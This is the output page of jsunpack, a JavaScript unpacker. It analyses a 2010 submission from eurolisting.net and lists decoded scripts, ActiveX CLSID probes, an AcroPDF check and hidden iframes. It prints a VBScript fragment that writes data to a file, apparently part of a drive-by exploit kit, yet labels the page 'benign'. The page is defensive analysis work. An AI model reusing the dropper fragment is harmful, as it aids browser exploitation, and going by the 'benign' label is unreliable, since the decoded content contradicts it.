JSUNPACK
A Generic JavaScript Unpacker
CAUTION: jsunpack was designed for security researchers and computer professionals
Enter a single URL (or paste JavaScript to decode):

Upload a PDF, pcap, HTML, or JavaScript file
Private? Help: privacy | uploads
Default Referer
Description

Submission permanent link cbb10579a66ac694ab7265538a98582d6f1ff709 (Received 2010-06-21 18:53:50, http://eurolisting.net/Cgi-bin/markprint.php )

URLStatus
eurolisting.net/Cgi-bin/markprint.php saved 52241 bytes fetch_90e4be7e1dbff474170a56d4d29869cb6dd3a504

All Malicious or Suspicious Elements of Submission

None
eurolisting.net/Cgi-bin/markprint.php benign
[nothing detected] eurolisting.net/Cgi-bin/markprint.php
     status: (referer=www.google.com/trends/hottrends)saved 52241 bytes 90e4be7e1dbff474170a56d4d29869cb6dd3a504
     info: [decodingLevel=0] found JavaScript
     error: undefined function qSj.GetVersions
     error: undefined variable qSj
     info: DecodedGenericCLSID detected 527196a4-b1a3-4647-931d-37ba5af23037 AB9BCEDD-EC7E-47E1-9322-D4A210617116 6e32070a-766d-4ee6-879c-dc1fa91d2fc3 BA018599-1DB3-44f9-83B4-461454C84BF8 6414512B-B978-451D-A0D8-FCFDF33E833C D0C07D56-7C69-43F1-B4A0-25F5A11FAB19 7F5B7F63-F06F-4331-8A26-339E03C0AE3D E8CCCDDF-CA28-496b-B050-6C07C962476B 06723E09-F4C2-43c8-8358-09FCD1DB0766 639F725F-1B2D-4831-A9FD-874847682010
     info: DecodedMsg detected /info.ActiveXObject AcroPDF.PDF
     info: DecodedIframe detected
     info: [iframe] eurolisting.net/Cgi-bin/markprint.php?s=cBX4jplm&id=
     info: [decodingLevel=1] found JavaScript
     error: line:10: SyntaxError: missing ; before statement:
          error: line:10: ;Sub s1(e,fn,dt):On Error Resume Next:s1=0:"+'Set k=e.CreateTextFile(fn,TRUE):if Err>0 then:Exit Function:End if:'+'b="":For j=1 To LenB(dt):b=b&ChrW(Asc(Mid(dt,j,1))):Next:k.Write(b):k.Close:'+"if Err>0 then:Exit Function:End if:s1=1:End Sub<\/script>");
          error: line:10: .^
     file: 90e4be7e1dbff474170a56d4d29869cb6dd3a504: 52241 bytes
     file: 93908b96f6e6a51b8ec6e5fc4d2bc2860efb7d0f: 6413 bytes

Decoded Files
90e4/be7e1dbff474170a56d4d29869cb6dd3a504 from eurolisting.net/Cgi-bin/markprint.php (52241 bytes, 8 hidden) download

9390/8b96f6e6a51b8ec6e5fc4d2bc2860efb7d0f from eurolisting.net/Cgi-bin/markprint.php (6413 bytes) download


eurolisting.net/Cgi-bin/markprint.php?s=cBX4jplm&id= benign
[nothing detected] (iframe) eurolisting.net/Cgi-bin/markprint.php?s=cBX4jplm&id=
     status: (referer=eurolisting.net/Cgi-bin/markprint.php)saved 52351 bytes 7cb7de5dc8c5731e335e187f5e25bbdeb81d4983
     info: [decodingLevel=0] found JavaScript
     error: undefined function jmx.GetVersions
     error: undefined variable jmx
     info: DecodedGenericCLSID detected 639F725F-1B2D-4831-A9FD-874847682010 527196a4-b1a3-4647-931d-37ba5af23037 AB9BCEDD-EC7E-47E1-9322-D4A210617116 6e32070a-766d-4ee6-879c-dc1fa91d2fc3 BA018599-1DB3-44f9-83B4-461454C84BF8 6414512B-B978-451D-A0D8-FCFDF33E833C D0C07D56-7C69-43F1-B4A0-25F5A11FAB19 7F5B7F63-F06F-4331-8A26-339E03C0AE3D E8CCCDDF-CA28-496b-B050-6C07C962476B 06723E09-F4C2-43c8-8358-09FCD1DB0766
     info: DecodedMsg detected /info.ActiveXObject AcroPDF.PDF
     info: DecodedIframe detected
     info: [iframe] eurolisting.net/Cgi-bin/markprint.php?s=cBX4jplm&id=
     info: [decodingLevel=1] found JavaScript
     error: line:10: SyntaxError: missing ; before statement:
          error: line:10: ;Sub s1(e,fn,dt):On Error Resume Next:s1=0:"+'Set k=e.CreateTextFile(fn,TRUE):if Err>0 then:Exit Function:End if:'+'b="":For j=1 To LenB(dt):b=b&ChrW(Asc(Mid(dt,j,1))):Next:k.Write(b):k.Close:'+"if Err>0 then:Exit Function:End if:s1=1:End Sub<\/script>");
          error: line:10: .^
     file: 7cb7de5dc8c5731e335e187f5e25bbdeb81d4983: 52351 bytes
     file: cbeacfbce84893c6543eea882be702f821470e14: 6425 bytes

Decoded Files
7cb7/de5dc8c5731e335e187f5e25bbdeb81d4983 from eurolisting.net/Cgi-bin/markprint.php?s=cBX4jplm&id= (52351 bytes, 8 hidden) download

cbea/cfbce84893c6543eea882be702f821470e14 from eurolisting.net/Cgi-bin/markprint.php?s=cBX4jplm&id= (6425 bytes) download